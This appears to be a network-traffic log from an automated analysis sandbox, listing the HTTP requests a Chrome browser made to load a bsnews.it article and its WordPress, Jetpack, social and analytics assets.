Source: global traffic	HTTP traffic detected: GET /c/6.4.3/wp-includes/css/dist/block-library/style.min.css HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/6.4.3/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/6.4.3/wp-includes/js/mediaelement/wp-mediaelement.min.css HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/jetpack/13.2.2/_inc/social-logos/social-logos.min.css HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/jetpack/13.2.2/css/jetpack.css HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/6.4.3/wp-includes/js/jquery/jquery.min.js HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/css/sourstyle.prod.css HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=7.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/legacy/Newspaper/assets/css/td_legacy_main.css?ver=6217cd4d7820e3bfbc83cc495211f01b HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-standard-pack/Newspaper/assets/css/td_standard_pack_main.css?ver=4a3a1b49b2d9e88d0d2e7189313f4145 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-cloud-library/assets/css/tdb_main.css?ver=be262a20ca49ba5e513ad6176c77b975 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/content-egg/res/js/price_alert.js?ver=10.12.1 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/6.4.3/wp-includes/js/jquery/jquery-migrate.min.js HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/jetpack/13.2.2/_inc/build/related-posts/related-posts.min.js HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/03/BSNEWS_orizzontale.jpg HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/03/BSNEWS-728-x-90-1.gif HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/Newspaper/images/icons/newspaper.woff?23 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://bsnews.itsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://bsnews.it/wp-content/themes/Newspaper/style.css?ver=12.6.5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/jetpack/13.2.2/modules/wpgroho.js HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/quadrato-icon.jpg HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/gprofiles.js?ver=202413 HTTP/1.1Host: secure.gravatar.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/mailpoet/assets/img/form_close_icon/round_white.svg HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/6.4.3/wp-includes/js/underscore.min.js HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/jetpack/13.2.2/_inc/build/likes/queuehandler.min.js HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/mailpoet/assets/dist/css/mailpoet-public.c5d405bf.css?ver=6.4.3 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-bannerize-pro/public/js/wp-bannerize-impressions.min.js?ver=1.6.9 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/03/BSNEWS_orizzontale.jpg HTTP/1.1Host: bsnews.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/bsnews.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/03/BSNEWS-728-x-90-1.gif HTTP/1.1Host: bsnews.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/jetpack/13.2.2/_inc/build/sharedaddy/sharing.min.js HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-image-cdn/dist/image-cdn.js?minify=false&ver=132249e245926ae3e188 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-polls/polls-js.js?ver=2.77.2 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /plugins/like.php?href=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&layout=button_count&show_faces=false&width=105&action=like&colorscheme=light&height=21 HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e-202413.js HTTP/1.1Host: stats.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-cloud-library/assets/js/js_posts_autoload.min.js?ver=be262a20ca49ba5e513ad6176c77b975 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /forumpa/fpa.js HTTP/1.1Host: app.digitrend.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tagdiv_theme.min.js?ver=12.6.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdPostImages.js?ver=12.6.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdSocialSharing.js?ver=12.6.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/quadrato-icon.jpg HTTP/1.1Host: bsnews.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/mailpoet/assets/img/form_close_icon/round_white.svg HTTP/1.1Host: bsnews.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
